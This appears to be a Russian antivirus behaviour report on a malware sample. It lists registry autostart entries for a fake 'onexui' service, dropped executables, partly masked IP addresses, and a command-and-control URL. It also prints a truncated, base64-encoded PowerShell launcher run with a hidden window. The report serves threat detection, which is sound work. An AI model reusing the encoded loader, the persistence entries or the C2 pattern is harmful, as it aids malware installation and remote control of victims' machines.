Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\onexui] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\onexui] 'ImagePath' = '"%WINDIR%\SysWOW64\dialer\onexui.exe"'
- 'onexui' "%WINDIR%\SysWOW64\dialer\onexui.exe"
- 'onexui' %WINDIR%\SysWOW64\dialer\onexui.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADIAaABsAG0AZQBtAD0AKAAnAEkAdwB6AGEAeAAnACsAJwB6ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBwAFwATwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\kst21p7ps.exe
- %WINDIR%\syswow64\dialer\onexui.exe
- %TEMP%\office2019\kst21p7ps.exe в %WINDIR%\syswow64\dialer\onexui.exe
- '65.#6.62.20':80
- '20#.#26.6.222':8080
- '5.###.250.14':8080
- http://je####reiberg.de/cgi-bin/F/
- http://5.###.250.14:8080/YEmGgb7SyAL/onDoGGvPC/cXc5AnyUBc3Rht1/UH78ntfV5Xqv3/XTzSjXA1q7Lt/aPd9qaCz9AAL/ via 5.###.250.14
- DNS ASK je####reiberg.de
- '%TEMP%\office2019\kst21p7ps.exe'
- '%WINDIR%\syswow64\dialer\onexui.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADIAaABsAG0AZQBtAD0AKAAnAEkAdwB6AGEAeAAnACsAJwB6ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBwAFwATwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...' (со скрытым окном)